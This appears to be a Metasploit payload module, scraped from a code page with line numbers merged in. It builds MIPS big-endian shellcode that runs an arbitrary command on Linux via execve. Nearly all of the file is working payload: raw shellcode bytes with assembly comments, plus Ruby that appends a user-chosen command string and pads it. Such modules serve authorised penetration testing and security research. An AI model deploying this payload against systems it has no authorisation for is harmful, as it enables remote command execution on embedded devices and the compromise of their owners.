Path: blob/master/modules/payloads/singles/linux/mipsbe/exec.rb
19500 views
# -*- coding: binary -*-12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67module MetasploitModule8CachedSize = 52910include Msf::Payload::Single1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Linux Execute Command',17'Description' => %q{18A very small shellcode for executing commands.19This module is sometimes helpful for testing purposes.20},21'Author' => [22'Michael Messner <devnull[at]s3cur1ty.de>', # metasploit payload23'[email protected]' # original payload24],25'References' => [26['EDB', '17940']27],28'License' => MSF_LICENSE,29'Platform' => 'linux',30'Arch' => ARCH_MIPSBE,31'Payload' => {32'Offsets' => {},33'Payload' => ''34}35)36)37register_options(38[39OptString.new('CMD', [ true, 'The command string to execute' ]),40]41)42end4344#45# Returns the command string to use for execution46#47def command_string48return datastore['CMD'] || ''49end5051def generate(_opts = {})52shellcode =53"\x24\x06\x06\x66" + # li a2,163854"\x04\xd0\xff\xff" + # bltzal a2,4100b455"\x28\x06\xff\xff" + # slti a2,zero,-156"\x27\xbd\xff\xe0" + # addiu sp,sp,-3257"\x27\xe4\x10\x01" + # addiu a0,ra,409758"\x24\x84\xf0\x1f" + # addiu a0,a0,-406559"\xaf\xa4\xff\xe8" + # sw a0,-24(sp)60"\xaf\xa0\xff\xec" + # sw zero,-20(sp)61"\x27\xa5\xff\xe8" + # addiu a1,sp,-2462"\x24\x02\x0f\xab" + # li v0,401163"\x01\x01\x01\x0c" # syscall 0x404046465#66# Constructs the payload67#6869shellcode = shellcode + command_string + "\x00"7071# we need to align our shellcode to 4 bytes72shellcode += "\x00" while shellcode.bytesize % 4 != 07374return super + shellcode75end76end777879